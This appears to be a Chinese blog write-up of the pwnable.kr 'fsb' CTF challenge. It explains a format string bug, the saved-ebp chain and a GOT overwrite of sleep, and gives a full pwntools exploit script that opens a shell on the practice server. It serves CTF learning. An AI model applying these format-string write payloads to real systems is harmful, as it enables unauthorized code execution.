您的位置:首页 > 其它

pwnable 笔记 Rookiss - fsb - 20 pt

2016-12-17 14:50 225 查看

题目源码



题目分析

程序逻辑很简单,
main
函数随机生成
key
,然后调用
fsb
函数。
fsb
中判断用户输入的值和
key
是否相等,相等则
execve("/bin/sh\0",0,0);
,程序结构如下图:



看下源代码,
fsb
函数中前面两个for循环没啥卵用,用于清除用户输入的参数和程序的工作环境,第3个for循环里有明显的格式化字符串漏洞:



格式化字符串漏洞发生在栈中,利用方式以下几种:

修改变量的值,绕过认证

覆写GOT表

修改栈中保存的返回地址

在这道题中,格式化字符串
buf
存储在堆中,也就是说我们输入的内容不会出现在栈里,因此不能通过向栈中写入地址的方式进行攻击,不过我们可以利用栈中已有的值进行攻击。

GDB
查看一下调用
printf
时栈的布局,如下图:



可以看到,我们输入的值
AAAABBBBCCCCDDDD
保存在
0x804a100
中,是
printf
的第一个参数;
esp+72
esp+76
处存放的分别是
main
函数的
ebp
fsb
函数的返回地址。

函数在被调用的时候先将原函数的
ebp
保存到栈中,在跳转至被调用函数的内部;返回时先将当前
ebp
恢复为原函数的
ebp
,再跳转回到原函数中。也就是说,栈中保存的
ebp
永远指向原函数
ebp
,它是一个链式的结构。

举个栗子,我们记
funcA()
的ebp为
ebpA
funcB()
函数的ebp为
ebpB
funcC()
函数的ebp为
ebpC


假如我们在
funcA()
中调用
funcB()
funcB()
中又调用了
funcC()
,那么:

保存在
funcC()
栈桢中的
ebp
为:

ebpC –> ebpB –> ebpA –> ? (?为调用funcA的函数的ebp)

保存在
funcB()
栈桢中的
ebp
为:

ebpB –> ebpA –> ? (?为调用funcA的函数的ebp)

保存在
funcA()
栈桢中的
ebp
为:

ebpA –> ? (?为调用funcA的函数的ebp)

回到题目中,
printf
将执行时,
esp+72
处是的
fsb
函数的
ebp
,它指向
main
ebp


ebp(fsb) –> ebp(main) –> 0x0

我们计算一下偏移量,
72 / 4 = 18
,对应的是
printf
的第18个参数,也就是说我们可以通过输入
%88888c%18$n
来修改
ebp(main)
处的值为
888888


ebp(fsb) –> ebp(main) –> 88888



同理,我们也可以修改
ebp(main)
指向的值为GOT表中函数的地址



现在只需要找到
ebp(main)
esp(fsb)
之间的偏移量
offset
,便可以通过
"%%%d$n" % (offset)
来覆写GOT表了。

由于这个偏移量不是固定的,我们需要通过格式化字符串漏洞泄露一下
ebp(fsb)
ebp(main)
的地址,以上图为例:

esp(fsb) = 0xfff68f90

ebp(main) = 0xfff69378

offset = (0xfff69378 - 0xfff68f90) / 4 = 250

ebp(main)
可以通过
%18$08x
泄露,而
esp(fsb)
可以通过栈中的某些值确定,比如
esp+56
处的值指向
0xfff68fe0
,这个值和
esp(fsb)
刚好相差
0x50


解题思路

利用格式化字符串漏洞改写
sleep
函数的GOT表,使程序调用
sleep
函数时,执行
execve("/bin/sh\0",0,0);


解题过程

泄露
main
函数ebp和
fsb
函数的esp计算偏移量offset

修改
main
函数ebp指向的值为
sleep
在GOT表中的地址

修改
sleep
在GOT表中的地址为
0x080486ab
(
execve("/bin/sh\0",0,0);
)

触发
sleep
函数,得到shell

解题脚本

#!/usr/bin/python
from pwn import *
# context.log_level = 'debug'
# p = process('fsb')
p = ssh(host='pwnable.kr',port=2222,user='fsb',password='guest').run('/home/fsb/fsb')

# log.success("recv: " + p.recv(8))
sleep_got = 0x0804a008
shell     = 0x080486ab
raw_input("#####################1########################")

payload = "%14$08x%18$08x"
# gdb.attach(p,"b *0x8048610")
p.recvuntil('(1)\n')
p.sendline(payload)

esp = int(p.recv(8),16) - 0x50
ebp = int(p.recv(8),16)
offset = (ebp - esp) / 4
log.success("esp = " + hex(esp))
log.success("ebp = " + hex(ebp))
log.success("offset = " + str(offset))

raw_input("#####################2########################")

payload = "%%%dc"%(sleep_got) + "%18$n"
p.recvuntil('(2)\n')
p.sendline(payload)

raw_input("#####################3########################")

payload = ("%%%dc"%(shell&0xffff)) + "%%%d$hn"%(offset)
#p.recvuntil('(3)\n')
sleep(3)
p.sendline(payload)

raw_input("#####################4########################")

payload = "AAAAAAAA"
p.recvuntil('(4)\n')
p.sendline(payload)

raw_input("#####################x########################")
sleep(4)
p.interactive()


More



ebp
–>
ebp
–>
ebp
–>
ebp
–>
ebp
–>
ebp
–>
ebp
–>
bingo!
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息